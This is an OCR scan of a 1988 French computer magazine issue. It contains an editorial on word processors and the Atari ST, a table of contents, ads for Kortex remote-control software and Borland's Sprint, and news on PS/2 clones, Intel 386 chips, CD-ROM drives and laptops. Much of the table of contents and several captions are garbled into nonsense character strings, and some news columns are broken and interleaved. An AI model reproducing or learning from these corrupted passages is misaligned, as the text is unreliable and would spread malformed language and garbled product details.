•TTSTriIÏ^I 



F E S 



M 2946- 104 -29,00 F 



Quand la compétition devient très dure, 
il faut des armes. 




NI 



Bonsai, 
Banzai 



auc-il brûler son vieux traitement de texte et céder aux charmes de la micro-édition ? Word4, 
WordStar 4.2, WordPerfect^ . , . chaque année ou peu s'en faut nous apporte une nouvelle 
version de ces stars du traitement de texte. Pieusement cultivées, soigneusement... au 
moindre infléchissement du marché de l'écriture sur PC, ce sont un peu les bonsaïs des 

igiciels. ( )pposant une excellente résistance aux nouveaux venus, tout indique qu'il leur 
reste de longues années à vivre. Mais le dossier traitement de texte que nous vous proposons 
dans ce numéro couvre bien d'autres aspects de l'application reine. Les logiciels Windows, les 
correcteurs orthographiques, les produits sur Macintosh, Atari et Amiga. En tout, quelque 
vingt-quatre- pages décËÊes à l'écriture sur micro dans tous ses styles d'utilisateurs, de 
machines, de logiciels. Entièrement conçues sur traitement de texte bien entendu. 
Il y a tout juste un an, L 'Ordinateur individuel consacrait un premier dossier spécial à l'Atari 
ST. Le trouble- fête de la micro-informstiqu.t professionnelle n'a pas chômé depuis, 
progressant encore en performances - Mega ST, imprimante laser - et se réservant les services 
de logiciels qui n'ont plus grand-chose à envier aux produits de référence sur PC et Mac . 
C'est sous cet angle que nous avons passé au crible le catalogue d'applications offert autour 
du ST. Mais Atari ne serait plus Atari si ses dirigeants, comme ils nous y ont habitués, ne 
résistaient pas lors de diacune de leurs interventions publiques à lever le voile sur leurs 
derniers travaux de laboratoire. CD-ROM, Transputer et station de travail à base de 68030 
sont les dernières manifestations de cette fièvre technologique. Banzai Atari ! 

La formation des hommes est inscrite en France, toutes tendances politiques confondues, 
comme une priorité absolue pour le nouveau septennat présidentiel. Pour L 'Oi, celle-ci est 
traduite par un rendez-vous mensuel. Un cahier de huit pages rendra compte à partir de ce 
numéro des progrès des nouvelles technologies pour la iormation. Une couleur de plus sur 
noue palette et un thème permanent pour le Forum télemanque { 36 1 T , 01, rubrique FOR). 
Il accueille 24 heures sur 24 vos commentaires, idées et critiques. 



MICHEL BAKREAUÏ 
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MICROCOSME : 30 JOURS DE MICRO 
Tour ce qu'il fauttetenrr de l'actualité de tes dernières semaines. Gtandes annonces, petites phtases, Eilan 

des principaux salons professionnels, une si nrhese image, préparée par muie la rédaction. 

— 22 — 

OS/2, UNE FAUSSE PISTE? 

Le développement d'une nouvelle versio-Jid'OS/^ 

Comdex Springd'Atlanta. Cet OS/<3>pourrait apparaître dès 1989. 

— 24 — 

LES TRIBULATIONS DU CLONEUR DE PS/2 

Krapt [xir< : ra|X-. Lt [Ticircl-e ^'i siiivi-t pc. L i; le. cunicrLiGteurcLirulidcH à Ici misf surle marche'' d'un équivalent 
PS_/2 à bus MCA. Et la Jisre fumplL-tc ties six clyat-s PS.- H LUinoiiLts s-.il- k: m;ir-Lht- américain. 

— 34 — 

LES IMPRIMANTES TOUS AZIMUTS 

Les nouveautés CuntiQLicut d'Litr'lutT. Fncuaux riojvtllLS v.i-chniquts. htjc-rt.-: Jct J'encre. Itrs ïmpriijnaQtesà 
aiguilles demeurent cri tète des ventes. 

— 35 — 

UN VIRUS DISSÉQUÉ 

Alain Mariant analyse dans le détail u:ivieus. Pour mieux compEendrcso.iionêrionnemtnt. Pour le 

détecter et le détruire efficacement. 

— 42 — 

QUATRE AMÉRICAINS ÀPARIS 

Lestoutesdernières inl'(irmiitri:ns sur ies lf)t;ii. iels Emc-rald Bav, Q et R, SQL Serveret Quattro auprès, 

respectivement, de WayneRarliff, Rod Rimer. Jim Reilk tr David Schich. 

— 51 — 

LUCID-3D : LE TABLEUR NOUVELLE VAGUE 

Pourl 500 F (et bientôt en fiançais!, un tableur DOS rroii dimensions resideiu en mémoireaveclequeiil 
faudra compter... 

— 56 — 

DAYiNAFILE:DUPCAUMACETRETOUR 

Ce lecteur de disquerres sophistique qui convenir des fichiers PC au format Macintosh peutétre 

remplacé... par un simple câble ! 

— 60 — 

ADN. GÉNÉRATEUR D'APPLICATIONS ÉVOLUTIF 

Avec une structure modulaire et un modeeve-kiti.. ADN oiispuiublcsorMiic.' allie enfin réellement 
puissance et facilité d'emploi. Une nouvel le race de SGBD est née. 



— 72 — 

COMPARATIF : LES CARTES VGA 

La qualité de l'affichait VCi A n'est pins l'apanage des seii .s PS :2. X'ous.ieoosexpérimentécinqca 
disponibles c:i France et àiinaaiiblesPC. 
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L'ÉCRITURE AU QUOTIDIEN 

les proiessmnreisd^:i'écrirure!.e moquent de liSiy-ihistieaïien Ils cherchent des [-.aitemcr.tsele texte 

li.ibleSt-i.iciks Pour mieux cous aicei'ac.,uisir. itîli; avEins teste les Ivan stars ca l'(i. les nnq valeurs 

sûresdu Macintosh, les quatre niei heures plumes de l'Atari ST ..-lies sept offres dtl'Amiga. 

120 

FESTIVALATARI 

IHlâgede raison 

ans, et viseà partir d'une base identique pliasieuESmarchésdisrincts. Il accepte 
mbreux périphériques rencorrrés habitudkxieniFar d'autres srandards. 



L'Atari STabicnrôttro 
sansdifficultéder 



ItTil L'ATARI DE DEMAIN 

premiers Transputcr son chcdcsdcvckpiïcuis. Avec ceiord.ri.ueur à .iidii:t.aLire parallèle au prix 
un miCEo : Acar. cherche à ouvrir un nouveau marché. Nous en avons profité pour parler avec Sam 
Tram iel du présent er de ses projets. 

ŒSLOGICIELSiOMBREETLUMIÈRL 

Bilan contrasrésurikux des types de logiciels ks pins courrcirs. Médiocre presouion des tableurs, alors que 
1 es SGBD relationnels sont au niveau des meilleurs. L'offre micro-edir ion esrikplus en plus crédible. 
i)ts progrès resi'.-ni a actomp.i-. Les lopcks Eirapmqties, eti.vvicniiem de réussi: au saur qualitatif. 



BEI LA REUSSITE VERTICALE 

Lehautdegammedcsk^icieisdeGiOs'erelic. k:ouriR:.'-:dé'.tloppi.i.ien: sont nombreux, les 
balbutient. Mais cbeideiiiedeen'i. i'âreiiitee'.eoLileeeenptabie. ieSJ trouve naturellement sa ph 
découvre même une vocation dan; le ce. mai ne de I" intelligence artificielle. 
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AU-DELÀ DES 640 KO 

anscender les limites du iJOi.U ne 'idit technique sur la norn 
définie par Lotus, Intel et Microsoft (LIM/EMSI. 



EgjSEHEBl 
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NOUVELLES TECHNOLOGIES 

Un tendez-vons eie pins ilans I. '(J. niierubr:,ine;|ci rend eomnre .les iippiicau 
technologies dam le domain. Jela fntmati on. 

FORUM 



— 192 — 

TÉLÉCHARGEZ ! 

^nouveautés sut le service de rcléc.iarp.ement de iosicici-poiir PC de i.'Oi. Et tous les détail' 
Catutil, un g!:sr:onniU:ede;i:bboLièe;ueca:iaoie lie itérer jusqu'à 2 1)1)0 fichiers. 
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pas à pas son utilisateur 
lation de logiciels. 




t effet, de nombreuses fonctionnali- 
nt été intégrées à 






KORTEX 

KX MASTER 



DEMONTRER 




Disponible chez votif 
distributeur agréé 
en deux versions : 

— Spécial 
modems Kortex 

— Autres modems 
compatibles Hayes 



1950 F ht 

par poste 



;JSiT 



V 

ton 



roici Kx-Master, le nouveau logiciel de Kortex, le 
standard des télécommunications. Désormais, inu- 
tile de vous déplacer. Que ce soit pour dépanner, 
assister, diagnostiquer un micro-ordinateur situé à 
n'importe quel point du globe, Kx-Master vous per- 
met, depuis votre ordinateur, à toute heure du jour et 
de la nuit, de prendre son contrôle total, comme si 
vous y étiez. 

Le principe ? Il est extrêmement simple : 



Pilotez, 
' contrôlez, dépannez, 
un ordinateur à distance. 



Pour promouvoir ou comme 
logiciel, rien ne vaut une boni 
tration. Sans vous déplacer, vous pou- 
vez, avec Kx-Master, effectuer une prê- 
u une formation à distance 
d'un programme sauvegardé sur votre 
système. L'utilisateur pourra 1er — ! 
1er en toute liberté et vous l'as 
dans l'exécution en dialoguant direct! 
ment par téléphone. De plus, il vous sei 
possible de bloquer le clavier du \ — ' 

stant, afin de vou 

tal de son svstèrr 




SURVEILLER 



Kx-Master est également 



t d'y îélécommani 
(s des tests. Vous pou\ 

"" i contrôle pour les 
archiver sur votre système et les consul- 




Il suffit d'équiper votre ordinateur et celui que vous 
souhaitez piloter, d'un modem Kortex et d'un logiciel 
Kx-Master. Ensuite, sur votre ordinateur : en tapant 
deux touches au clavier, vous entrez automatique- 
ment en communication avec le système distant. 
Résultat : vous visualisez, sur votre écran, toutes les 
informations affichées sur celui du micro-ordinateur 
distant. De même vous télécommandez, à partir de 
votre clavier, l'exécution de programmes installés 
sur l'autre ordinateur.. 









KORTEX 
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TRAITEMENTS DE TEXTE... NOUS VOILA ! 




Philippe Kalm 
le Français qui a 
étonné l'Amérique 

Philippe Kahn est 
aujourd'hui connu comme 
"le Français qui a étonné 
l'Amérique". En créant 
Borland il y a quelques 
années, son fondateur ne se 
doutait pas qu'il allait 
connaître un tel succès 
mondial sur l'ensemble de 
ses créations. 

Aujourd'hui Borland fait son 
entrée dans la bureautique, 
une entrée peu discrète en 
raison des caractéristiques 
révolutionnaires de son 
nouveau traitement de texte, 
SPRINT. 

SPRINT, véritable caméléon 
a été conçu pour épouser 
étroitement la configuration 
précise des besoins de ses 
utilisateurs. 11 est non 
seulement le plus convivial 
des traitements de texte : 
mais il apporte en plus des 
fonctions, un niveau de 
sécurité, une vitesse, une 
puissance qui en font 
vraiment le traitement de 
texte nouvelle génération. 



le traitement 

de texte 

qui libère 

le traitement 
de texte 



CE QU'IL APPORTE 
DENOUVEAU 

Une interface programmable 
à volonté pour votre liberté 

SPRINT va tout 
révolutionner sauf vos 
habitudes car il est le 
premier traitement de texte 
équipé d'une interface 
caméléon programmable à 
volonté. 

SPRINT a été conçu pour 
travailler en standard avec 
les environnements des 
principaux programmes sur 
le marché : ceux de Word *, 
Wordstar", Wordperfect* et 
Textor* . 



Une sauvegarde automatique 
réglable pour votre sécurité 
Avec SPRINT plus de 
fichiers perdus et de textes 



envolés, un système de 
sauvegarde automatique 
réglable jusqu'à une seconde 
vous apporte désormais la 
sécurité absolue. 

La vitesse pour votre 
efficacité 

SPRINT est par rapport à 
ses concurrents entre deux 
et dix huit fois plus rapide. 

L'orthographe sans faute 
pour votre tranquillité 

Avec 60.000 termes et 
environ 300.000 dérivés, 
SPRINT vous permettra 
enfin de faire un zéro faute 
dans vos textes. 

La superpuissance pour votre 
productivité 

SPRINT est aujourd'hui le 
plus puissant des traitements 
de texte. Il peut traiter 
simultanément 24 fichiers 
différents quelle que soit leur 
longueur et vous permet 
d'ouvrir jusqu'à six fenêtres 
sur l'écran. 

La plus pande simplicité 
d'utilisation... pour vous 
simplifier la vie 

SPRINT est basé sur des 
menus faciles à utiliser. Les 
options qui vous sont 
proposées à l'écran sont en 
français. Vous ne pourrez 
pas vous tromper. 
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TRENTE JOURS DE MICRO 

En quelques coups d'oeil sut les pages suivantes, l'essentiel de 

l'actualité micro du 6 avril au 6 mai dernier et nos premières 

analyses. Toutes ces informations vous ont été livrées sans retard sur 

le service infos de L Oi télématique (36 15, 01). 



VICTOR CAVIARDE LES SIX CHAINES 



Inutile de zapper, le *** 
de Victor sévira bientôt par- 
tour. Un spot de trente se- 
condes réalisé par Bob 
Brooks - à qui l'on doit les 
pubs pour la Poio de Volks- 
wagen et le Macintosh 
d 'Apple - sera diffusé à qua- 
tre-vingr-quinze reprises 
d'ici à novembre prochain 
sur les six chaînes françaises. 

Ainsi, le célèbre caviar- 
dage lancé par Victor France 
vers la mi-85 dans la presse a 
encore de beaux jours devanr 
lui. Cela contre toute attente, 



puisque le slogan < comme 
*** » a perdu de son sel 
depuis un certain 2 avril 
1987, date de l'annonce des 
PS, Ce sont en effet les PS/2 
qui mobilisent depuis lors les 
ardeurs d'IBM, La nouvelle 
gamme représentera même 
l'essentiel des ventes de 
micro-ordinateurs du nu- 
méro un en 1988. 

En revanche, de 
PS/2 chez Victor, nulle 
trace. Voici qu'apparaissent 
tout juste à son catalogue un 
portable AT fabriqué par 



Kyocera et un AT 
386/16 MHz. Us devaient 
être effectivement disponi- 
bles à comprer du mois de 
mai. Sont également annon- 
cés une carte VGA (présen- 
tée au Sicob) et le support de 
MS-OS/2 (disponible en 
juin). David Deane, prési- 
dent de Victor France, recon- 
naît d'ailleurs volontiers que 
l'apparition tardive d'un 
Victor 386 a pénalisé les 
résultats de la filiale en fin 
d'année 1987. 

La firme souligne le bon 



LA SECONDE JEUNESSE D'HERCULES 




Hercules change de look 
er de politique commerciale. 
Les bonnes résolutions de 
Jim Harris, le nouveau p.- 
d.g., commencent avec 
Ramfont, qui n'a jamais 



vraiment percé, malgré 
ses deux ans d'âge, 
(270 000 ventes cependant, 
dont 14 000 en France), 
Pourquoi ? < Parce que per- 
sonne n'a jamais bien 



compris ce que cetair et a 
quoi cela servait s, analyse 
lucidement le nouveau p.- 
d,g., qui se propose d'ac- 
compagner le produit d'un 
traitement de texte, c Write 
on > mettant en valeur ses 
fameuses porentialités 
(36 polices de caractères en 
standard plus un éditeur). 
Objectif : doubler les ventes 
et imposer Ramfonr en tant 
que standard industriel . 

Son intégration dans 
WordPerfect version 5.0 est 
sans doute un premier pas 
vers la gloire. « Notre straté- 
gie est très simple >, confie 
Jim Harris, « suivre les be- 
soins des urilisareurs. Les 




accueil réservé à son offre 
Add-pack, un disque dur de 
30 Mo amovible présenté 
sous la forme d'une cartou- 
che vendue 5 000 F. Dispo- 
nible avant celles de Tandon 



et de Sanyo, cette cartouche 
aurait déjà été vendue en 
France à 17 000 exemplai- 
res. La nouvelle version 
Add-pack II est proposée 
sur trois machines : le porta- 
ble V286P (option), FAT 
V286A (série) et V386A 
(option). Les améliorations 
portent sur l'encliquetage et 
la mise hors service automa- 
tiques grâce à un nouveau 
connecteur er à un boîtier 
redessiné. 

Avec quinze machines, 
duVickià8 000FauMaxi 
V386M à 70 000 F, Victor 
est aujourd'hui paré pour 
consolider ses positions de 
troisième fournisseur euro- 
péen de PC (tranche des plus 
de 8 000 F, ce qui exclut 
Amstrad) derrière IBM et 
Olivetti, avec 80 000 unités 
installées en 1987. 

M.B, 



naturellement 
reconnu. 



deux choses qui marchent en 
ce moment sont les produits 
graphiques et de communi- 
cation. La solution ; mettre 
les seconds sur les pre- 
miers. > 

Cette politique se traduit 
pat la sortie de la Network 
Card Plus, une carte qui 
intègre un adaptateur gra- 
phique monochrome de type 
Ramfont er un contrôleur de 
réseau compatible Tops/ 
Flashtalk. Prix record : 
2 990 F (moins de 4 000 F 
avec un exemplaire de Tops 
DOS 2.0). A l'instar de son 
homonyme, Hercules ne 
compte pas s'en arrêter là : 
< Nous présenterons huit à 



dix nouveautés en 1988 », 
jure Harris. 

Une version couleur, 
basée sur la carte Incolor, 
serait présentée au Comdex 
d'automne. Elle serait ac- 
compagnée de la version 
PS/2 des produits réseau, 
d'une carte VGA/Ramfonr 
et d'un adaptateur graphi- 
que étendu pour Mac IL 
Hercules développe égale- 
ment une technologie gra- 
phique bit map multipliant 
les vitesses de traitement par 
50. 

La prochaine version de la 
carte Incolor en aura certai- 
nement la primeur. 



V.C. 



6 avril 

Hercules, qui a déjà vendu 
plus de 1 million de cartes 
d'affichage pour PC de 
par le monde, diversifie 
ses activités en sortant une 
carte intégrant deux 
fonctions : adaptateur 
graphique et connexion à 
un réseau local. 

Sun dévoile ses premières 
stations de travail à base 
de386[cr".rO/n D 103, 

p. 26). 

1 1 avril 

Toute une gamme de 
nouveaux Goupil sont 
présentés à la presse sur 
legreend'Estorilau 
Portugal. En vedette, un 
portable nommé Golf qui 
succède au Club annoncé il 
y a deux ans, mais dont la 
diffusion était restée 
confidentielle. 

ATT et Sun présentent 
conjointement à New 
York : Open Look, une 
interface-utilisateur 
évoluée pour le monde 
Unix qui s'apparente à 
Windows et au 
Présentation Manager 
d'OS/2. 

Officiel : IBM accepte le 
clonage du PS/2. 

1 2 avril 

WordPerfect élargit son ► 
offre. Khé Ton-That, 
directeur général de 
WordPerfect France, a 
présenté WordPerfect 
5.0sousMS-DOSet 
WordPerfect 1 .0 sur 
Macintosh (voir dossier 
traitements de texte 
dans ce numéro). Avec 
une version surminis, 
Vax et Unix, 
WordPerfect peut 
désormais présenter 
l'offre la plus large en 
matière de traitement de 
texte. 



Le monde Lotus rassemble 
à Paris les éditeurs d' add- 
inpour 1-2-3. 

Pick Europe s'installe à 
Paris. Randolph Voyard, 
vice -président de la filiale, 
indique le chiffre de 
100 000 copies du 
système d'exploitation 
Pick en service dans le 
monde dont 40 000 sur 
des PC. La France 
compterait, quant à elle, 
8 000 systèmes installés. 

13 avril 

Inovatic, leader français 
de la reconnaissance de 
caractères, présente un 
nouveau logiciel 
fonctionnant en mode 
apprentissage 
automatique. 

Frame relance sa marque, 
La Logithèque, sur le 
créneau des applications 
DOSàmoinsdel 500F. 
Quatre références pour 
l'heure : les bases de 
données Open Access Jr 
etGem Base, l'intégré 1er 
Choix et le logiciel de PAO 
PFSlstPublisrier. 
Objectif : vendre 
1 000 programmes d'ici 
à la fin de cette année. 



1 4 avril 

Olivetti met son offre PC à 
niveau avec l'annonce 
simultanée devant la 
presse européenne réunie 
à Paris d'un AT 
80386/20 MHz (modèle 
M380XP) disponible en 
trois versions, d'un AT 
80286/1 2 MHz (M290), 
d'unportable(M15Plus) 
avec disque 20 Mo et 
écran LCD grand format 
rétro-éclairé et de deux 
disques optiques, un CD- 
ROM et un WORM 
(inscripfible une fois). Les 
supports de VGA, OS/2, 
Unix V/386 3.1, Windows 
2.0 et 386 sont assurés. 
En outre, Filippo Démonte, 
vice-président de la 
division Ordinateurs 
personnels d'Olivetti, 
promet l'introduction par 
la firme italienne courant 
88 d'« un certain nombre 
de modèles basés sur 
MCA ». Il affirme que le 
groupe italien dispose des 
brevets IBM en vertu d'un 
accord général de licences 
croisées, en vigueur 
depuis plusieurs années. A 
notre connaissance, cet 
accord n'avait jamais été 
précédemment rendu 
public. 
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ACTUALITES 



LA MICRO FAIT UN MALHEUR EN PME W' ■ OS/2 EN RESEAU 




•StniceUFBLocabait 

Conclusion de la dernière 
enquête menée par UFB Lo- 
cabail auprès des entreprises 
françaises de six à deux cents 
salariés : la micro fait un 
malheur en PME, alors que 
la mini stagne. Cette analyse 
couvre un champ de près de 
250 000 entreprises dans les 
domaines de l'industrie, du 
bâtiment, du commerce et 
des services. L'agriculture 
n'est pas concernée. 



En 1986, malgré des pré- 
visions optimistes, le taux 
d'équipement des entrepri- 
ses en matériel informatique 
(micro et mini confondues) 
avait stagné. Alors que fin 
1985, 46% des PME 
étaient équipées, à la fin de 



à 47 % seulement. 

En 1987, ce taux a atteint 
59 %, soit une augmenta- 
tion de 12 %. On prévoit 



pour l'année en cours un 
bond équivalent (71 % des 
entreprises équipées fin 88). 
Le commerce de gros est le 
plus équipé, suivi de l'indus- 
trie et des services. 

Si l'on affine l'analyse 
pour se restreindre à la seule 
micro-informatique, on 
s'aperçoit que la progression 
est encore plus importance. 
Le taux d'équipement en 
micros est passé de 38 % à 



53%. 130 000 entreprises 
possèdent désormais au 
moins un micro-ordinateur, 
et le nombre moyen de ma- 
chines par entteprise est 
passé de 2 à 2,5. De ces 
chiffres, on peut déduire que 
330 000 micros sont instal- 
lés dans les PME/PMI, sur 
un total national d'environ 
1 400 000 machines, soit le 
quart du parc. 

J.-L.L.B. 



PORTABLES :LE DECOLLAGE 



Les analyses d'Intelligent 
Electronics le confirment : le 
marché français des ordina- 
teurs portables va connaître 
une grande activité au cours 
des prochains mois. Pronos- 
tic : 48 300 unités seront 
vendues cette année contre 
25 500 en 1987 et seule- 
ment 11 400 en 1986. Pré- 
cisons que ne sont retenues, 
dans le cadre de cette étude, 
que les machines pesant 



moins de 8,5 kg à écran 
plat, format attaché-case et 
pourvues « d'une certaine 
autonomie électrique ». Ce 
créneau représentera 6,4 % 
du total des ventes de PC en 
volume en 1988 contre 
4,3 % l'année dernière. 
L'excellent score dont est 
créditée Olivetti sut les 
ventes 1987 est lié à une 
promotion de son modèle 
M 1 5 via le réseau des Fnac. 



500 machines vendues 
valeur = 488 ÎV1FF 
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Olivetti 7,5% 
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3 + Open de 3 Corn est le 
premier logiciel réseau basé 
sur OS/2 et le Lan Manager 
de Microsoft. Contrairement 
au futur produit équivalent 
d'IBM bâti sur la version 
étendue d'OS/2, il se 
contente du noyau 
OS/2 1.0. A cela, un dou- 
ble intérêt : disponibilité ra- 
pide (été 1988) et économie 
impottante pour l'utilisateur 



jourd'hui, il faut transférer 
les 50 Mo de la base, parien- 
tet de longues secondes et 
réaliset le tri sut son propre 
PC. Demain (c'est-à-dire 
pas avant 1989), de nouvel- 
les versions des plus fameux 
logiciels distribueront les 
fonctions entre serveur du 
réseau et station de l'utilisa- 
teur pour optimiser le temps 
de traitement et assurer un 




(-75%). Contrairement à 
Novell, son principal 
concurrent, 3 Corn est re- 
parti de zéro pour intégrer 
des postes de travail OS/2 à 
tout ce qui existait, essentiel- 
lement sous DOS, en ma- 
tière de réseaux locaux. Mul- 
titâche (plus besoin d'un 
matériel serveur dédié), per- 
mettant d'adresser 16 Mo 
de mémoire, OS/2 est tout 
spécialement bienvenu 
quand il s'agit de piloter uni 
serveur de fichiers. 

Au-delà de cet avantage, 
3 + Open est décrit comme 
une plate-fotme standard 
pour le développement de 
nouvelles applications ré- 
seaux. Un exemple : le tri sur 
une base de données. Au- 



véritable partage des appli- 
cations. 

Un exemple de ces appli- 
cations dites à traitement ré- 
parti est fourni par les sa- 
veurs de bases de données 
SQL, tel le SQL Server de 
Microsoft et Ashton Tate. 
Après-demain (1990?) les 
Macintosh eux-mêmes co- 
habiteront parfaitement avec 
les autres pensionnaites d'un 
tel réseau. Le groupe de tra- 
vail prendra alors une autre 
dimension. Ainsi, le recalcul 
d'un tableau Excel quelle 
que soit son origine (PC, 
Mac, machine Unix, etc.) 
pourra être assuré par le ser- 
veur pour le compte de 
n'importe quel membte du 



19 avril 

Zenith renouvelle sa 
gamme de portables en 
introduisant 
simultanément trois 
modèles tous autonomes : 
un PC {le Supersport), un 
AT (Supersport 286) et un 
386 (Turbosport, doté 
d'un 386 sans état 
d'attente bridé à 
1 2/6 MHz pour limiter la 
consommation électrique). 
Prix ; de 14 500 F htà 
49 000 F ht. 
Un nouvel écran rétro- 
éclairé exclusif Zenith 
équipe le haut de gomme. 
C'estunLCD Supertwist 
15,75 KHz CGA à double 
balayage 640 x 400 pts. 
Rétro-éclairage par 
quatre tubes fluorescents 
et un diffuseur exclusif 
Zenith. 




Faraday Electronics, filiale 
à 100% de Western 
Digital, et Phoenix 
Technologies sortent les 
premiers ROM Bios 
équivalents à celui des 
PS/2 modèles 50 et 60. 
Les kits d'évaluation des 
modèles 50 et 60 
devaientêtre disponibles 
dès mai pour 35 000 F ht. 
Par ailleurs. Western 
Digital a conclu avec 
Microsoftun accord 
portant sur la diffusion de 
Lan Manager, son 
gestionnaire de réseau 
local sous OS/2, ce qui 
permet à la firme de 
s'estimer bien placée pour 
devenir « le principal 



fournisseur de produits 
compatibles PS/2». 

21 avril 

C'est probablement 
l'annonce du mois. 
Comme prévu, Tandy sort 
le premier clone PS/2. 
Basé sur le jeu de circuits 
Intel compatible PS/2 et le 
Bios de Phoenix, le Tandy 
5000 MC est un 
386/20 MHz à bus Micro 
Channel supportant OS/2 
et Xenix SCO qui équivaut 
à un PS/2 8580. En 
standard, le 5000 MC 
offre VGA et dispose de 
2 Mo de RAM. Il est daté 
d'un contrôleur de 
mémoire-cache Intel 
82385 gérant 32 Ko 




de RAM statique iSRAM). 
Objetd'un accord de 
licence avec IBM, le 5000 
MC est présenté par 
Tandy comme la machine 
la plus rapide du moment. 
Aux Etats-Unis, l'unité 
centrale sera vendue 
entre 5 000$ et 7 000$ 
avec un disque de 84 Mo. 
Le prix en France n'est pas 
encore fixé, pas plus que 
sa disponibilité. Les 
livraisons ne devraient 
réellement démarrer 
qu'en septembre. 

22 avril 

Des CD-ROM dans les 
lycées : l'Education 
nationale apporte sa 
caution à la technologie du 
CD-ROM en décidant 
d'équiper quelque 
500 lycées et collèges en 
1988. [Lire article en 
rubrique Formation 
p. 184.) 
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L'OCR EN APPRENTISSAGE AUTOMATIQUE 



INTEL VERS LES 33 MHZ 



Inovatic s'apprête à lancer 
Readstar 6, un logiciel de 
reconnaissance optique de 
caracrères d'une technique 
nouvelle, l'apprentissage au- 
tomatique. Jusqu'à présent, 
deux types de logiciels 
coexistaient. Les uns recon- 
naissent automatiquement 
les caractères grâce à un algo- 
rithme. Les autres nécessitent 
un apprentissage. Le logiciel 
s'arrête dans ce cas à chaque 
catactère inconnu, et l'utili- 
sateur le frappe au clavier. 
Les premiers sont donc im- 
médiatement productifs, 
mais leurs compétences s'ar- 
rêtent aux textes dactylogra- 
phiés non proportionnels. 
Les seconds parviennent à 
lire honorablement des 
textes édités. 




Avec Readstar 6, Inovatic 
cherche à allier la perfor- 
mance (apprentissage) à 
l'absence d'intervenuon hu- 
maine (automatisation). Le 
premier module est compa- 



rable à Readstar 3+, qui 
utilise un apprentissage. Sur 
Readstar 6, un second mo- 
dule se substitue à l'opéra- 
teur, pour affecter des codes 
ASCII aux modèles réperto- 



riés par le premier module. 
Ce programme accomplit 
rapidement sa tâche, puis- 
qu'il se trouve face à 100 ou 
1 50 images au lieu des quel- 
ques milliers de signes de la 
page nécessaire à l'apprentis- 
sage. Un vérificateur ortho- 
graphique contrôle à l'aide 
d'un dictionnaire la cohé- 
rence des mots formés. On 
intervient en fin de processus 
seulement pour les caractères 
non reconnus (environ 4 % 
selon Inovatic). 

La commercialisation de- 
vrait intervenir au cours du 
mois de juin pour la version 
PC, et vers la fin de l'année 
pour la version Macintosh, 
à un prix d'environ 
75 000 Fht. 



LES CONQUETES DU CD-ROM 



Les chatmes du jeune 
CD-ROM ne laissent plus 
indifférents les acteurs du 
monde infotmatique. Les 
grands constructeurs suc- 
combent un à un. Olivetti, 
déjà engage avec Eikon {joinc 
venmre qui réunit Oliverti, 
Microsoft et Seat) et Edel 
(Mondatori, le groupe î'Es- 
presso er Seat) n'échappe pas 
à la règle. Son premier pro- 
duit, le CD 550 (550 Mode 
mémoire) est un lecteur ex- 
terne demi-hauteur, qui affi- 
che un air de famille indénia- 
ble avec le 1503 S d'Hitachi. 
Impossible d'en connaître le 
prix. Il sera accompagné dès 
le mois de septembre par un 
lecteurdeDON,leOD8]0 
(810 Mo de mémoire, 
temps d'accès ; 170 ms). 



Deuxième « victime >, 
Nec produit deux spécimens 
de son cru, soit un lecteur 
interne demi-hauteur, le 
CDR 80, et un lecteur de 
table pleine hauteur, le CDR 
75. Tous deux se flattent 
d'une capacité de 540 Mo et 
d'un temps d'accès moyen 
de 0,5 s. Ils seront livrables 
au dernier semestre avec les 
interfaces SCSI et un adapta- 
teur PC. Marché principal : 
l'OEM. Prix non communi- 
qués. 

Si les rejetons d'Atari et 
d'Apple, les deux extrêmes 
côté tarifs, n'ont plus l'attrait 
de la surprise pour les rou- 
tards des salons internatio- 
naux, le public français a pu 
enfin les contempler au 
Sicob, l'un couplé avec le 



logiciel de navigation Hy- 
percard, l'autre avec Hyper- 
doc de Geci (v. L'Oi 
n° 103). Ergonomie et sé- 
duction obligent. L'un et 
l'autre seront disponibles à 
partir du mois de septembre. 
Chez les pionniers, alias 
TRT-TI et Hitachi, les prix 



baissent. Pour 8 000 Fht, 
on peut emporter le 3500 
d'Hitachi, et pour 
7 950 Fht le CM 201 de 
TRT-TI, deux lecteurs 
demi-hauteur destinés à s'in- 
tégrer dans des PC/AT/XT 
(voirl'CTnMOl.p. 105). 
v.c. 
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Intel lance son propre or- 
dinateur construit autour 
d'un 80386 cadencé à 
25 MHz. Baptisé System 
302, il est doté d'une mé- 
moire-cache de 64 Ko er 
opère sans état d'artente. 
Uniquement destiné au 
marché OEM, distribué en 
France par Métrologie, cet 
ordinateur contient bien un 

80386 à 25 MHz, et non 
un 20 MHz sur une carte 
accélérée. Dans la foulée, 
Intel prévoit un coprocesseur 

80387 à 25 MHz. 

La présentation publique 
de cet otdinateur ne s'ac- 
compagne pas de celle du 



bre suffisant pour supporter 
une annonce officielle. En 
revanche, un ordinareur, 
d'un prix plus c dissuasif >, 
risque moins d'épuiser les 
srocks et « établit une nou- 
velle notme de petformance 
du marché OEM >, comme 
le déclare Bob Brannon, d.g. 
pour l'Europe. En ce qui 
concerne les AT 386 à 
25 MHz avec processeurs 
non cerrifiés des sociétés 
françaises RDI et Axis, 
Andy Cash du marketing 
technique Europe, déclare 
qu'ils sonr « sujets à 
réchauffement. On peut 
s'attendre à une durée de vie- 




processeur, qui, s'il est dis- 
ponible pour quelques 
clients, n'est pas officielle- 
ment annoncé. Les proces- 
seurs 25 MHz, en tous 
points identiques aux 
20 MHz et aux 16 MHz 



sont issus d une ( 
1,5 p.. Les vitesses annoncées 
correspondent à un certificat 
de bonne conduite au cours 
des tests Intel. Chacun est 
certifié pour une gamme de 
température à une vitesse 
donnée. Les 25 MHz issus 
de cette technologie ne sont 
pas et ne seront pas en nom- 



moindre s. 

Vers la fin de l'année, en 
vertu du vieux principe que 
moins le chemin est long, 
plus on le parcourt vite, Intel 
ptévoit de développe! les ac- 
tuels 16 MHz et 20 MHz 
en technologie lu. Ce qui 
permettrait de les certifier 
pour des vitesses plus gran- 
des atteignant de 25 MHz à 
33 MHz, Alors, le 25 MHz 
sera disponible en nombre. 
Gageons que d'ici là on verra 
des processeurs poussés tour- 
nant à 33 MHz. 

A.S. 



25 avril 

Freehand. Pendant le 
Sicob, Ise-Cegosa 
annoncé la sortie en 
version française de 
Freehand. Ce logiciel de 
dessin ou format 
PostScript vient 
directement 
concurrencer lllustrotor 
(Adobe) sur son créneau. 
Il offre des possibilités 
inédites jusqu'à présent 
(voir la rubrique 
Macintosh de ce numéro) 
comme la création de 
courbes de Béziersà 
main levée. 

Le Sicob ouvre ses portes 
pour la seconde fois au 
parc de Paris-Nord- 
Villepinte. Alain Madelin 
l'inaugure au pas de 
charge. 

Le péril jaune nous guette ! 
